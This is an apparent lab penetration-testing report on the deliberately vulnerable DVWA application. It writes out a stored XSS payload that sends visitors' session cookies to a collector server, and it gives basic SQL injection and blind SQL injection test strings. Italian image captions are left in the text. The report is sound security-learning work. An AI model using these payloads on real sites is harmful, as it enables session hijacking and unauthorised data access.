**Exploiting Stored XSS Vulnerability to Steal Session Cookies - Penetration Testing Report**

**Introduction**

This report describes in detail the process followed to exploit various vulnerabilities in Damn Vulnerable Web Application (DVWA), running on the Metasploitable lab machine. The primary objective was to steal victims' session cookies via Stored Cross-Site Scripting (XSS) and access user passwords by exploiting SQL injection and blind SQL injection vulnerabilities. To facilitate exploitation, DVWA was configured with the security level set to "low".

**Server Configuration**

I began by setting up a local web server using Node.js and the Express framework. This server was designed to intercept and log cookies sent by victims of the XSS attack on the vulnerable DVWA site. The server code is as follows:Immagine che contiene testo, schermata, Software multimediale, software

Descrizione generata automaticamente

This simple script listens on port 3000 and writes received cookies to a text file for later analysis.

**Modifying Character Length in DVWA**

I then modified the maximum character length for the message field in DVWA to allow insertion of longer and more sophisticated XSS payloads. I increased the character limit directly in the HTML source code of the XSS-vulnerable page, ensuring my script could be injected and executed without restrictions.Immagine che contiene testo, elettronica, schermata, software

Descrizione generata automaticamente

**XSS Payload Creation and Injection**

The XSS payload I created was designed to silently redirect session cookies to my server. The payload was as follows:

<script>document.location='http://localhost:3000/collect?cookie=' + encodeURIComponent(document.cookie);</script>

I inserted this script into the "Message" field of DVWA's guestbook, effectively storing the payload on the page ready to execute when viewed by any visitor.

**Testing and Verification**

After inserting the payload, I tested its effectiveness by accessing DVWA from a different browser to simulate a victim. As expected, the browser executed the stored script, sending session cookies to my server where they were recorded.Immagine che contiene schermata, software, computer, Software multimediale

Descrizione generata automaticamente

**Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente**

**Analysis of Captured Cookies**

1. **security=low**: This cookie value indicates DVWA's security level was set to "low" - an intentional configuration that reduces protections to allow vulnerability analysis and learning.
2. **PHPSESSID**: The PHP Session ID, a unique identifier for the user's current session. This cookie is critical as it maintains session state between HTTP requests, allowing the application to identify consecutive requests from the same user. An attacker gaining this cookie could impersonate the user and operate within the application as if they were the legitimate user.

SQL INJECTION

**Basic SQL Injection Execution**

1. Interaction with the "User ID" field in the SQL Injection vulnerability:
   * I inserted the following payload to test for vulnerability:

1' OR '1'='1--

* + This displayed all users in the database.

Immagine che contiene testo, schermata, Carattere, numero

Descrizione generata automaticamente

SQL INJECTION (BLIND)

**Blind SQL Injection Execution**

1. Interaction with the "User ID" field in the Blind SQL Injection vulnerability:
   * I inserted these payloads to test for vulnerability:

1' AND 1=1--

* + - This confirmed the existence of user with ID 1.

Immagine che contiene testo, schermata, Carattere, linea

Descrizione generata automaticamente

1' AND 1=2--

* + - This returned no results, confirming the Blind SQL Injection vulnerability.

Immagine che contiene testo, schermata, Carattere, linea

Descrizione generata automaticamente

**Conclusion**

The stored XSS attack was successfully executed, capturing victims' session cookies and sending them to an attacker-controlled server. Additionally, both SQL Injection and Blind SQL Injection attacks were successfully performed, confirming these vulnerabilities exist in the DVWA application.